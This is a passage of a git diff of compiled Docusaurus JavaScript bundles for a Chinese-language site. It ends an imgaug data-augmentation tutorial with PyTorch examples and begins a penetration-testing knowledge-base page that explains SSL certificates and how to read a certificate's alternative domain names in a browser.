random_state=None)\n"})}),"\n",(0,s.jsx)(n.h3,{id:"\u5bf9\u4e0d\u540c\u5927\u5c0f\u7684\u56fe\u7247\u8fdb\u884c\u5904\u7406",children:"\u5bf9\u4e0d\u540c\u5927\u5c0f\u7684\u56fe\u7247\u8fdb\u884c\u5904\u7406"}),"\n",(0,s.jsx)(n.p,{children:"\u4e0a\u9762\u63d0\u5230\u7684\u56fe\u7247\u90fd\u662f\u57fa\u4e8e\u76f8\u540c\u7684\u56fe\u50cf\u3002\u4ee5\u4e0b\u7684\u793a\u4f8b\u5177\u6709\u4e0d\u540c\u56fe\u50cf\u5927\u5c0f\u7684\u60c5\u51b5\uff0c\u6211\u4eec\u4ece\u7ef4\u57fa\u767e\u79d1\u52a0\u8f7d\u4e09\u5f20\u56fe\u7247\uff0c\u5c06\u5b83\u4eec\u4f5c\u4e3a\u4e00\u4e2a\u6279\u6b21\u8fdb\u884c\u6269\u5145\uff0c\u7136\u540e\u4e00\u5f20\u4e00\u5f20\u5730\u663e\u793a\u6bcf\u5f20\u56fe\u7247\u3002\u5177\u4f53\u7684\u64cd\u4f5c\u8ddf\u5355\u5f20\u7684\u56fe\u7247\u90fd\u662f\u5341\u5206\u76f8\u4f3c\uff0c\u56e0\u6b64\u4e0d\u505a\u8fc7\u591a\u8d58\u8ff0\u3002"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-python",children:'# \u6784\u5efapipline\nseq = iaa.Sequential([\n iaa.CropAndPad(percent=(-0.2, 0.2), pad_mode="edge"), # crop and pad images\n iaa.AddToHueAndSaturation((-60, 60)), # change their color\n iaa.ElasticTransformation(alpha=90, sigma=9), # water-like effect\n iaa.Cutout() # replace one squared area within the image by a constant intensity value\n], random_order=True)\n\n# \u52a0\u8f7d\u4e0d\u540c\u5927\u5c0f\u7684\u56fe\u7247\nimages_different_sizes = [\n imageio.imread("https://upload.wikimedia.org/wikipedia/commons/e/ed/BRACHYLAGUS_IDAHOENSIS.jpg"),\n imageio.imread("https://upload.wikimedia.org/wikipedia/commons/c/c9/Southern_swamp_rabbit_baby.jpg"),\n imageio.imread("https://upload.wikimedia.org/wikipedia/commons/9/9f/Lower_Keys_marsh_rabbit.jpg")\n]\n\n# \u5bf9\u56fe\u7247\u8fdb\u884c\u589e\u5f3a\nimages_aug = seq(images=images_different_sizes)\n\n# \u53ef\u89c6\u5316\u7ed3\u679c\nprint("Image 0 (input shape: %s, output shape: %s)" % (images_different_sizes[0].shape, images_aug[0].shape))\nia.imshow(np.hstack([images_different_sizes[0], images_aug[0]]))\n\nprint("Image 1 (input shape: %s, output shape: %s)" % (images_different_sizes[1].shape, images_aug[1].shape))\nia.imshow(np.hstack([images_different_sizes[1], images_aug[1]]))\n\nprint("Image 2 (input shape: %s, output shape: %s)" % (images_different_sizes[2].shape, images_aug[2].shape))\nia.imshow(np.hstack([images_different_sizes[2], images_aug[2]]))\n'})}),"\n",(0,s.jsx)(n.p,{children:(0,s.jsx)(n.img,{alt:"different_size.png",src:i(47803).A+"",width:"967",height:"1087"})}),"\n",(0,s.jsx)(n.h2,{id:"653-imgaug\u5728pytorch\u7684\u5e94\u7528",children:"6.5.3 imgaug\u5728PyTorch\u7684\u5e94\u7528"}),"\n",(0,s.jsxs)(n.p,{children:["\u5173\u4e8ePyTorch\u4e2d\u5982\u4f55\u4f7f\u7528imgaug\u6bcf\u4e00\u4e2a\u4eba\u7684\u6a21\u677f\u662f\u4e0d\u4e00\u6837\u7684\uff0c\u6211\u5728\u8fd9\u91cc\u4e5f\u4ec5\u4ec5\u7ed9\u51faimgaug\u7684issue\u91cc\u9762\u63d0\u51fa\u7684\u4e00\u79cd\u89e3\u51b3\u65b9\u6848\uff0c\u5927\u5bb6\u53ef\u4ee5\u6839\u636e\u81ea\u5df1\u7684\u5b9e\u9645\u9700\u6c42\u8fdb\u884c\u6539\u53d8\u3002\n\u5177\u4f53\u94fe\u63a5\uff1a",(0,s.jsx)(n.a,{href:"https://github.com/aleju/imgaug/issues/406",children:"how to use imgaug with pytorch"})]}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-python",children:"import numpy as np\nfrom imgaug import augmenters as iaa\nfrom torch.utils.data import DataLoader, Dataset\nfrom torchvision import transforms\n\n# \u6784\u5efapipline\ntfs = transforms.Compose([\n iaa.Sequential([\n iaa.flip.Fliplr(p=0.5),\n iaa.flip.Flipud(p=0.5),\n iaa.GaussianBlur(sigma=(0.0, 0.1)),\n iaa.MultiplyBrightness(mul=(0.65, 1.35)),\n ]).augment_image,\n # \u4e0d\u8981\u5fd8\u8bb0\u4e86\u4f7f\u7528ToTensor()\n transforms.ToTensor()\n])\n\n# \u81ea\u5b9a\u4e49\u6570\u636e\u96c6\nclass CustomDataset(Dataset):\n def __init__(self, n_images, n_classes, transform=None):\n\t\t# \u56fe\u7247\u7684\u8bfb\u53d6\uff0c\u5efa\u8bae\u4f7f\u7528imageio\n self.images = np.random.randint(0, 255,\n (n_images, 224, 224, 3),\n dtype=np.uint8)\n self.targets = np.random.randn(n_images, n_classes)\n self.transform = transform\n\n def __getitem__(self, item):\n image = self.images[item]\n target = self.targets[item]\n\n if self.transform:\n image = self.transform(image)\n\n return image, target\n\n def __len__(self):\n return len(self.images)\n\n\ndef worker_init_fn(worker_id):\n imgaug.seed(np.random.get_state()[1][0] + worker_id)\n\n\ncustom_ds = CustomDataset(n_images=50, n_classes=10, transform=tfs)\ncustom_dl = DataLoader(custom_ds, batch_size=64,\n num_workers=4, pin_memory=True, \n worker_init_fn=worker_init_fn)\n\n"})}),"\n",(0,s.jsx)(n.p,{children:"\u5173\u4e8enum_workers\u5728Windows\u7cfb\u7edf\u4e0a\u53ea\u80fd\u8bbe\u7f6e\u62100\uff0c\u4f46\u662f\u5f53\u6211\u4eec\u4f7f\u7528Linux\u8fdc\u7a0b\u670d\u52a1\u5668\u65f6\uff0c\u53ef\u80fd\u4f7f\u7528\u4e0d\u540c\u7684num_workers\u7684\u6570\u91cf\uff0c\u8fd9\u662f\u6211\u4eec\u5c31\u9700\u8981\u6ce8\u610fworker_init_fn()\u51fd\u6570\u7684\u4f5c\u7528\u4e86\u3002\u5b83\u4fdd\u8bc1\u4e86\u6211\u4eec\u4f7f\u7528\u7684\u6570\u636e\u589e\u5f3a\u5728num_workers>0\u65f6\u662f\u5bf9\u6570\u636e\u7684\u589e\u5f3a\u662f\u968f\u673a\u7684\u3002"}),"\n",(0,s.jsx)(n.h2,{id:"654-\u603b\u7ed3",children:"6.5.4 \u603b\u7ed3"}),"\n",(0,s.jsxs)(n.p,{children:["\u6570\u636e\u6269\u5145\u662f\u6211\u4eec\u9700\u8981\u638c\u63e1\u7684\u57fa\u672c\u6280\u80fd\uff0c\u9664\u4e86imgaug\u4ee5\u5916\uff0c\u6211\u4eec\u8fd8\u53ef\u4ee5\u53bb\u5b66\u4e60\u5176\u4ed6\u7684\u6570\u636e\u589e\u5f3a\u5e93\uff0c\u5305\u62ec\u4f46\u4e0d\u5c40\u9650\u4e8eAlbumentations\uff0cAugmentor\u3002\u9664\u53bbimgaug\u4ee5\u5916\uff0c\u6211\u8fd8\u5f3a\u70c8\u5efa\u8bae\u5927\u5bb6\u5b66\u4e0bAlbumentations\uff0c\u56e0\u4e3aAlbumentations\u8ddfimgaug\u90fd\u6709\u7740\u4e30\u5bcc\u7684\u6559\u7a0b\u8d44\u6e90\uff0c\u5927\u5bb6\u53ef\u4ee5\u6709\u9700\u6c42\u8bbf\u95ee",(0,s.jsx)(n.a,{href:"https://albumentations.ai/docs/examples/pytorch_classification/",children:"Albumentations\u6559\u7a0b"}),"\u3002"]}),"\n",(0,s.jsx)(n.h2,{id:"\u53c2\u8003\u8d44\u6599",children:"\u53c2\u8003\u8d44\u6599"}),"\n",(0,s.jsxs)(n.ol,{children:["\n",(0,s.jsx)(n.li,{children:(0,s.jsx)(n.a,{href:"https://www.kaggle.com/code/aleksandradeis/data-augmentation-packages-overview/notebook",children:"kaggle-data-augmentation-packages-overview"})}),"\n",(0,s.jsx)(n.li,{children:(0,s.jsx)(n.a,{href:"https://github.com/aleju/imgaug/issues/406",children:"how to use imgaug with pytorch"})}),"\n",(0,s.jsx)(n.li,{children:(0,s.jsx)(n.a,{href:"https://mp.weixin.qq.com/s/tdNlCxmz_s1Wwls2qoQXDQ",children:"Kaggle\u77e5\u8bc6\u70b9\uff1a\u6570\u636e\u6269\u589e\u65b9\u6cd5"})}),"\n",(0,s.jsx)(n.li,{children:(0,s.jsx)(n.a,{href:"https://www.kaggle.com/code/jmcslk/pytorch-classification-model-based-on-imgaug/notebook",children:"PyTorch Classification Model Based On Imgaug."})}),"\n",(0,s.jsx)(n.li,{children:(0,s.jsx)(n.a,{href:"https://github.com/aleju/imgaug-doc/tree/master/notebooks",children:"Tutorial Notebooks"})}),"\n"]})]})}function o(e={}){const{wrapper:n}={...(0,t.R)(),...e.components};return n?(0,s.jsx)(n,{...e,children:(0,s.jsx)(m,{...e})}):m(e)}},79401:(e,n,i)=>{i.d(n,{A:()=>a});const a=i.p+"assets/images/aug_seq-281c342aec9895cd0f1a2c9513d7ff04.png"},90515:(e,n,i)=>{i.d(n,{A:()=>a});const a=i.p+"assets/images/rotate-55f1178d52b5faecbcaba9fc011c2662.png"}}]); \ No newline at end of file diff --git a/assets/js/db207aa2.0b1bed42.js b/assets/js/db207aa2.0b1bed42.js new file mode 100644 index 0000000..f5abdd2 --- /dev/null +++ b/assets/js/db207aa2.0b1bed42.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[642],{28453:(e,t,n)=>{n.d(t,{R:()=>r,x:()=>c});var l=n(96540);const s={},i=l.createContext(s);function r(e){const t=l.useContext(i);return l.useMemo(function(){return"function"==typeof e?e(t):{...t,...e}},[t,e])}function c(e){let t;return t=e.disableParentContext?"function"==typeof e.components?e.components(s):e.components||s:r(e.components),l.createElement(i.Provider,{value:t},e.children)}},45226:(e,t,n)=>{n.r(t),n.d(t,{assets:()=>d,contentTitle:()=>c,default:()=>x,frontMatter:()=>r,metadata:()=>l,toc:()=>h});const l=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u4fe1\u606f\u6536\u96c6/\u8d44\u4ea7\u6536\u96c6/\u4e3b\u57df\u540d\u6536\u96c6/\u8bc1\u4e66\u67e5\u8be2","title":"\u8bc1\u4e66\u67e5\u8be2","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/01.\u6e17\u900f\u6d4b\u8bd5/01.\u4fe1\u606f\u6536\u96c6/01.\u8d44\u4ea7\u6536\u96c6/01.\u4e3b\u57df\u540d\u6536\u96c6/02.\u8bc1\u4e66\u67e5\u8be2.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/01.\u6e17\u900f\u6d4b\u8bd5/01.\u4fe1\u606f\u6536\u96c6/01.\u8d44\u4ea7\u6536\u96c6/01.\u4e3b\u57df\u540d\u6536\u96c6","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u4fe1\u606f\u6536\u96c6/\u8d44\u4ea7\u6536\u96c6/\u4e3b\u57df\u540d\u6536\u96c6/\u8bc1\u4e66\u67e5\u8be2","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u4fe1\u606f\u6536\u96c6/\u8d44\u4ea7\u6536\u96c6/\u4e3b\u57df\u540d\u6536\u96c6/\u8bc1\u4e66\u67e5\u8be2","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/01.\u6e17\u900f\u6d4b\u8bd5/01.\u4fe1\u606f\u6536\u96c6/01.\u8d44\u4ea7\u6536\u96c6/01.\u4e3b\u57df\u540d\u6536\u96c6/02.\u8bc1\u4e66\u67e5\u8be2.md","tags":[],"version":"current","sidebarPosition":2,"frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"ICP\u5907\u6848\u67e5\u8be2","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u4fe1\u606f\u6536\u96c6/\u8d44\u4ea7\u6536\u96c6/\u4e3b\u57df\u540d\u6536\u96c6/ICP\u5907\u6848\u67e5\u8be2"},"next":{"title":"WHOIS-IP\u53cd\u67e5\u67e5\u8be2","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u4fe1\u606f\u6536\u96c6/\u8d44\u4ea7\u6536\u96c6/\u4e3b\u57df\u540d\u6536\u96c6/WHOIS-IP\u53cd\u67e5\u67e5\u8be2"}}');var s=n(74848),i=n(28453);const r={},c=void 0,d={},h=[{value:"\u8bc1\u4e66\u529f\u80fd",id:"\u8bc1\u4e66\u529f\u80fd",level:2},{value:"\u8bc1\u4e66\u5206\u7c7b",id:"\u8bc1\u4e66\u5206\u7c7b",level:2},{value:"\u5982\u4f55\u5229\u7528\u8bc1\u4e66\u67e5\u8be2\u57df\u540d",id:"\u5982\u4f55\u5229\u7528\u8bc1\u4e66\u67e5\u8be2\u57df\u540d",level:2},{value:"\u6d4f\u89c8\u5668\u67e5\u770b",id:"\u6d4f\u89c8\u5668\u67e5\u770b",level:3},{value:"\u5728\u7ebf\u7f51\u7ad9",id:"\u5728\u7ebf\u7f51\u7ad9",level:3},{value:"\u901a\u8fc7\u7f51\u7edc\u7a7a\u95f4\u641c\u7d22\u5f15\u64ce",id:"\u901a\u8fc7\u7f51\u7edc\u7a7a\u95f4\u641c\u7d22\u5f15\u64ce",level:3}];function o(e){const t={a:"a",blockquote:"blockquote",code:"code",del:"del",h2:"h2",h3:"h3",img:"img",li:"li",p:"p",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",ul:"ul",...(0,i.R)(),...e.components};return(0,s.jsxs)(s.Fragment,{children:[(0,s.jsxs)(t.table,{children:[(0,s.jsx)(t.thead,{children:(0,s.jsxs)(t.tr,{children:[(0,s.jsx)(t.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,s.jsx)(t.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,s.jsx)(t.tbody,{children:(0,s.jsxs)(t.tr,{children:[(0,s.jsx)(t.td,{style:{textAlign:"left"},children:(0,s.jsx)(t.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,s.jsx)(t.td,{style:{textAlign:"left"},children:"2025-08-19 16:40:42"})]})})]}),"\n",(0,s.jsx)(t.p,{children:"SSL \u8bc1\u4e66 \u5c31\u662f\u9075\u5b88 SSL\u534f\u8bae\uff0c\u7531\u53d7\u4fe1\u4efb\u7684\u6570\u5b57\u8bc1\u4e66\u9881\u53d1\u673a\u6784CA\uff0c\u5728\u9a8c\u8bc1\u670d\u52a1\u5668\u8eab\u4efd\u540e\u9881\u53d1\uff0c\u5177\u6709\u670d\u52a1\u5668\u8eab\u4efd\u9a8c\u8bc1\u548c\u6570\u636e\u4f20\u8f93\u52a0\u5bc6\u529f\u80fd\u3002"}),"\n",(0,s.jsx)(t.p,{children:"SSL\u8bc1\u4e66\u901a\u8fc7\u5728\u5ba2\u6237\u7aef\u6d4f\u89c8\u5668\u548cWeb\u670d\u52a1\u5668\u4e4b\u95f4\u5efa\u7acb\u4e00\u6761SSL\u5b89\u5168\u901a\u9053\uff08Secure socket layer(SSL)\u5b89\u5168\u534f\u8bae\u662f\u7531Netscape Communication\u516c\u53f8\u8bbe\u8ba1\u5f00\u53d1\u3002\u8be5\u5b89\u5168\u534f\u8bae\u4e3b\u8981\u7528\u6765\u63d0\u4f9b\u5bf9\u7528\u6237\u548c\u670d\u52a1\u5668\u7684\u8ba4\u8bc1\uff1b\u5bf9\u4f20\u9001\u7684\u6570\u636e\u8fdb\u884c\u52a0\u5bc6\u548c\u9690\u85cf\uff1b\u786e\u4fdd\u6570\u636e\u5728\u4f20\u9001\u4e2d\u4e0d\u88ab\u6539\u53d8\uff0c\u5373\u6570\u636e\u7684\u5b8c\u6574\u6027\uff0c\u73b0\u5df2\u6210\u4e3a\u8be5\u9886\u57df\u4e2d\u5168\u7403\u5316\u7684\u6807\u51c6\u3002\u7531\u4e8eSSL\u6280\u672f\u5df2\u5efa\u7acb\u5230\u6240\u6709\u4e3b\u8981\u7684\u6d4f\u89c8\u5668\u548cWEB\u670d\u52a1\u5668\u7a0b\u5e8f\u4e2d\uff0c\u56e0\u6b64\uff0c\u4ec5\u9700\u5b89\u88c5\u670d\u52a1\u5668\u8bc1\u4e66\u5c31\u53ef\u4ee5\u6fc0\u6d3b\u8be5\u529f\u80fd\u4e86\uff09\uff0c\u5373\u901a\u8fc7\u5b83\u53ef\u4ee5\u6fc0\u6d3bSSL\u534f\u8bae\uff0c\u5b9e\u73b0\u6570\u636e\u4fe1\u606f\u5728\u5ba2\u6237\u7aef\u548c\u670d\u52a1\u5668\u4e4b\u95f4\u7684\u52a0\u5bc6\u4f20\u8f93\uff0c\u53ef\u4ee5\u9632\u6b62\u6570\u636e\u4fe1\u606f\u7684\u6cc4\u9732\uff0c\u4fdd\u8bc1\u4e86\u53cc\u65b9\u4f20\u9012\u4fe1\u606f\u7684\u5b89\u5168\u6027\uff0c\u800c\u4e14\u7528\u6237\u53ef\u4ee5\u901a\u8fc7\u670d\u52a1\u5668\u8bc1\u4e66\u9a8c\u8bc1\u4ed6\u6240\u8bbf\u95ee\u7684\u7f51\u7ad9\u662f\u5426\u662f\u771f\u5b9e\u53ef\u9760\u3002\u6570\u5b57\u7b7e\u540d\u53c8\u540d\u6570\u5b57\u6807\u8bc6\u3001\u7b7e\u7ae0 (\u5373 Digital Certificate\uff0cDigital ID )\uff0c\u63d0\u4f9b\u4e86\u4e00\u79cd\u5728\u7f51\u4e0a\u8fdb\u884c\u8eab\u4efd\u9a8c\u8bc1\u7684\u65b9\u6cd5\uff0c\u662f\u7528\u6765\u6807\u5fd7\u548c\u8bc1\u660e\u7f51\u7edc\u901a\u4fe1\u53cc\u65b9\u8eab\u4efd\u7684\u6570\u5b57\u4fe1\u606f\u6587\u4ef6\uff0c\u6982\u5ff5\u7c7b\u4f3c\u65e5\u5e38\u751f\u6d3b\u4e2d\u7684\u53f8\u673a\u9a7e\u7167\u6216\u8eab\u4efd\u8bc1\u3002 \u6570\u5b57\u7b7e\u540d\u4e3b\u8981\u7528\u4e8e\u53d1\u9001\u5b89\u5168\u7535\u5b50\u90ae\u4ef6\u3001\u8bbf\u95ee\u5b89\u5168\u7ad9\u70b9\u3001\u7f51\u4e0a\u62db\u6807\u4e0e\u6295\u6807\u3001\u7f51\u4e0a\u7b7e\u7ea6\u3001\u7f51\u4e0a\u8ba2\u8d2d\u3001\u7f51\u4e0a\u516c\u6587\u5b89\u5168\u4f20\u9001\u3001\u7f51\u4e0a\u529e\u516c\u3001\u7f51\u4e0a\u7f34\u8d39\u3001\u7f51\u4e0a\u7f34\u7a0e\u4ee5\u53ca\u7f51\u4e0a\u8d2d\u7269\u7b49\u5b89\u5168\u7684\u7f51\u4e0a\u7535\u5b50\u4ea4\u6613\u6d3b\u52a8\u3002"}),"\n",(0,s.jsx)(t.h2,{id:"\u8bc1\u4e66\u529f\u80fd",children:"\u8bc1\u4e66\u529f\u80fd"}),"\n",(0,s.jsx)(t.p,{children:"\u670d\u52a1\u5668\u90e8\u7f72\u4e86 SSL \u8bc1\u4e66\u540e\u53ef\u4ee5\u786e\u4fdd\u7528\u6237\u5728\u6d4f\u89c8\u5668\u4e0a\u8f93\u5165\u7684\u673a\u5bc6\u4fe1\u606f\u548c\u4ece\u670d\u52a1\u5668\u4e0a\u67e5\u8be2\u7684\u673a\u5bc6\u4fe1\u606f\u4ece\u7528\u6237\u7535\u8111\u5230\u670d\u52a1\u5668\u4e4b\u95f4\u7684\u4f20\u8f93\u94fe\u8def\u4e0a\u662f\u9ad8\u5f3a\u5ea6\u52a0\u5bc6\u4f20\u8f93\u7684\uff0c\u662f\u4e0d\u53ef\u80fd\u88ab\u975e\u6cd5\u7be1\u6539\u548c\u7a83\u53d6\u7684\u3002\u540c\u65f6\u5411\u7f51\u7ad9\u8bbf\u95ee\u8005\u8bc1\u660e\u4e86\u670d\u52a1\u5668\u7684\u771f\u5b9e\u8eab\u4efd\uff0c\u6b64\u771f\u5b9e\u8eab\u4efd\u662f\u901a\u8fc7\u7b2c\u4e09\u65b9\u6743\u5a01\u673a\u6784\u9a8c\u8bc1\u7684\u3002\u4e5f\u5c31\u662f\u8bf4\u6709\u4e24\u5927\u4f5c\u7528\uff1a\u6570\u636e\u52a0\u5bc6\u548c\u8eab\u4efd\u8ba4\u8bc1\u3002"}),"\n",(0,s.jsx)(t.p,{children:"a \u786e\u8ba4\u7f51\u7ad9\u771f\u5b9e\u6027\uff08\u7f51\u7ad9\u8eab\u4efd\u8ba4\u8bc1\uff09\uff1a\u7528\u6237\u9700\u8981\u767b\u5f55\u6b63\u786e\u7684\u7f51\u7ad9\u8fdb\u884c\u5728\u7ebf\u8d2d\u7269\u6216\u5176\u5b83\u4ea4\u6613\u6d3b\u52a8\uff0c\u4f46\u7531\u4e8e\u4e92\u8054\u7f51\u7684\u5e7f\u6cdb\u6027\u548c\u5f00\u653e\u6027\uff0c\u4f7f\u5f97\u4e92\u8054\u7f51\u4e0a\u5b58\u5728\u7740\u8bb8\u591a\u5047\u5192\u3001\u9493\u9c7c\u7f51\u7ad9\uff0c\u7528\u6237\u5982\u4f55\u6765\u5224\u65ad\u7f51\u7ad9\u7684\u771f\u5b9e\u6027\uff0c\u5982\u4f55\u4fe1\u4efb\u81ea\u5df1\u6b63\u5728\u8bbf\u95ee\u7684\u7f51\u7ad9\uff0c\u53ef\u4fe1\u7f51\u7ad9\u5c06\u5e2e\u4f60\u786e\u8ba4\u7f51\u7ad9\u7684\u8eab\u4efd\u3002\u5f53\u7528\u6237\u9700\u8981\u786e\u8ba4\u7f51\u7ad9\u8eab\u4efd\u7684\u65f6\u5019\uff0c\u53ea\u9700\u8981\u70b9\u51fb\u6d4f\u89c8\u5668\u5730\u5740\u680f\u91cc\u9762\u7684\u9501\u5934\u6807\u5fd7\u5373\u53ef\u3002"}),"\n",(0,s.jsx)(t.p,{children:"b \u4fdd\u8bc1\u4fe1\u606f\u4f20\u8f93\u7684\u673a\u5bc6\u6027\uff1a\u7528\u6237\u5728\u767b\u5f55\u7f51\u7ad9\u5728\u7ebf\u8d2d\u7269\u6216\u8fdb\u884c\u5404\u79cd\u4ea4\u6613\u65f6\uff0c\u9700\u8981\u591a\u6b21\u5411\u670d\u52a1\u5668\u7aef\u4f20\u9001\u4fe1\u606f\uff0c\u800c\u8fd9\u4e9b\u4fe1\u606f\u5f88\u591a\u662f\u7528\u6237\u7684\u9690\u79c1\u548c\u673a\u5bc6\u4fe1\u606f\uff0c\u76f4\u63a5\u6d89\u53ca\u7ecf\u6d4e\u5229\u76ca\u6216\u79c1\u5bc6\uff0c\u5982\u4f55\u6765\u786e\u4fdd\u8fd9\u4e9b\u4fe1\u606f\u7684\u5b89\u5168\u5462\uff1f\u53ef\u4fe1\u7f51\u7ad9\u5c06\u5e2e\u60a8\u5efa\u7acb\u4e00\u6761\u5b89\u5168\u7684\u4fe1\u606f\u4f20\u8f93\u52a0\u5bc6\u901a\u9053\u3002"}),"\n",(0,s.jsx)(t.p,{children:"\u5728SSL\u4f1a\u8bdd\u4ea7\u751f\u65f6\uff0c\u670d\u52a1\u5668\u4f1a\u4f20\u9001\u5b83\u7684\u8bc1\u4e66\uff0c\u7528\u6237\u7aef\u6d4f\u89c8\u5668\u4f1a\u81ea\u52a8\u7684\u5206\u6790\u670d\u52a1\u5668\u8bc1\u4e66\uff0c\u5e76\u6839\u636e\u4e0d\u540c\u7248\u672c\u7684\u6d4f\u89c8\u5668\uff0c\u4ece\u800c\u4ea7\u751f40\u4f4d\u6216128\u4f4d\u7684\u4f1a\u8bdd\u5bc6\u94a5\uff0c\u7528\u4e8e\u5bf9\u4ea4\u6613\u7684\u4fe1\u606f\u8fdb\u884c\u52a0\u5bc6\u3002\u6240\u6709\u7684\u8fc7\u7a0b\u90fd\u4f1a\u81ea\u52a8\u5b8c\u6210\uff0c\u5bf9\u7528\u6237\u662f\u900f\u660e\u7684\uff0c\u56e0\u800c\uff0c\u670d\u52a1\u5668\u8bc1\u4e66\u53ef\u5206\u4e3a\u4e24\u79cd\uff1a\u6700\u4f4e40\u4f4d\u548c\u6700\u4f4e128\u4f4d\uff08\u8fd9\u91cc\u6307\u7684\u662fSSL\u4f1a\u8bdd\u65f6\u751f\u6210\u52a0\u5bc6\u5bc6\u94a5\u7684\u957f\u5ea6\uff0c\u5bc6\u94a5\u8d8a\u957f\u8d8a\u4e0d\u5bb9\u6613\u7834\u89e3\uff09\u8bc1\u4e66\u3002"}),"\n",(0,s.jsx)(t.p,{children:"\u6700\u4f4e40\u4f4d\u7684\u670d\u52a1\u5668\u8bc1\u4e66\u5728\u5efa\u7acb\u4f1a\u8bdd\u65f6\uff0c\u6839\u636e\u6d4f\u89c8\u5668\u7248\u672c\u4e0d\u540c\uff0c\u53ef\u4ea7\u751f40\u4f4d\u6216128\u4f4d\u7684SSL\u4f1a\u8bdd\u5bc6\u94a5\u7528\u6765\u5efa\u7acb\u7528\u6237\u6d4f\u89c8\u5668\u4e0e\u670d\u52a1\u5668\u4e4b\u95f4\u7684\u5b89\u5168\u901a\u9053\u3002\u800c\u6700\u4f4e128\u4f4d\u7684\u670d\u52a1\u5668\u8bc1\u4e66\u4e0d\u53d7\u6d4f\u89c8\u5668\u7248\u672c\u7684\u9650\u5236\u53ef\u4ee5\u4ea7\u751f128\u4f4d\u4ee5\u4e0a\u7684\u4f1a\u8bdd\u5bc6\u94a5\uff0c\u5b9e\u73b0\u9ad8\u7ea7\u522b\u7684\u52a0\u5bc6\u5f3a\u5ea6\uff0c\u65e0\u8bba\u662fIE\u6216Netscape\u6d4f\u89c8\u5668\uff0c\u5373\u4f7f\u4f7f\u7528\u5f3a\u884c\u653b\u51fb\u7684\u529e\u6cd5\u7834\u8bd1\u5bc6\u7801\uff0c\u4e5f\u9700\u898110\u5e74\u3002"}),"\n",(0,s.jsx)(t.h2,{id:"\u8bc1\u4e66\u5206\u7c7b",children:"\u8bc1\u4e66\u5206\u7c7b"}),"\n",(0,s.jsx)(t.p,{children:"SSL\u8bc1\u4e66\u4f9d\u636e\u529f\u80fd\u548c\u54c1\u724c\u4e0d\u540c\u5206\u7c7b\u6709\u6240\u4e0d\u540c\uff0c\u4f46SSL\u8bc1\u4e66\u4f5c\u4e3a\u56fd\u9645\u901a\u7528\u7684\u4ea7\u54c1\uff0c\u6700\u4e3a\u91cd\u8981\u7684\u4fbf\u662f\u4ea7\u54c1\u517c\u5bb9\u6027\uff08\u5373\u8bc1\u4e66\u6839\u9884\u57cb\u6280\u672f\uff09\uff0c\u56e0\u4e3a\u4ed6\u89e3\u51b3\u4e86\u7f51\u6c11\u767b\u5f55\u7f51\u7ad9\u7684\u4fe1\u4efb\u95ee\u9898\uff0c\u7f51\u6c11\u53ef\u4ee5\u901a\u8fc7SSL\u8bc1\u4e66\u8f7b\u677e\u8bc6\u522b\u7f51\u7ad9\u7684\u771f\u5b9e\u8eab\u4efd\u3002SSL\u8bc1\u4e66\u5206\u4e3a\u5982\u4e0b\u79cd\u7c7b\uff1a"}),"\n",(0,s.jsxs)(t.ul,{children:["\n",(0,s.jsx)(t.li,{children:"\u6269\u5c55\u9a8c\u8bc1\u578b(EV)SSL\u8bc1\u4e66"}),"\n",(0,s.jsx)(t.li,{children:"\u7ec4\u7ec7\u9a8c\u8bc1\u578b(OV)SSL\u8bc1\u4e66"}),"\n",(0,s.jsx)(t.li,{children:"\u57df\u540d\u9a8c\u8bc1\u578b(DV)SSL\u8bc1\u4e66"}),"\n"]}),"\n",(0,s.jsx)(t.h2,{id:"\u5982\u4f55\u5229\u7528\u8bc1\u4e66\u67e5\u8be2\u57df\u540d",children:"\u5982\u4f55\u5229\u7528\u8bc1\u4e66\u67e5\u8be2\u57df\u540d"}),"\n",(0,s.jsx)(t.h3,{id:"\u6d4f\u89c8\u5668\u67e5\u770b",children:"\u6d4f\u89c8\u5668\u67e5\u770b"}),"\n",(0,s.jsxs)(t.p,{children:["chrome\u6d4f\u89c8\u5668(",(0,s.jsx)(t.del,{children:"\u5176\u4ed6\u6d4f\u89c8\u5668\u7c7b\u4f3c"}),") \u5de6\u4e0a\u89d2 \u9009\u62e9\u8fde\u63a5\u662f\u5b89\u5168\u7684 -> \u8bc1\u4e66\u6709\u6548 - > \u8be6\u7ec6\u4fe1\u606f -> \u8bc1\u4e66\u4e3b\u9898\u80cc\u666f\u7684\u5907\u7528\u540d\u79f0"]}),"\n",(0,s.jsx)(t.p,{children:(0,s.jsx)(t.img,{src:"https://cdn.wjlin0.com/img/202508191640534.png",alt:"img.png"})}),"\n",(0,s.jsx)(t.h3,{id:"\u5728\u7ebf\u7f51\u7ad9",children:"\u5728\u7ebf\u7f51\u7ad9"}),"\n",(0,s.jsxs)(t.blockquote,{children:["\n",(0,s.jsxs)(t.p,{children:["\u63a8\u8350\u4f7f\u7528 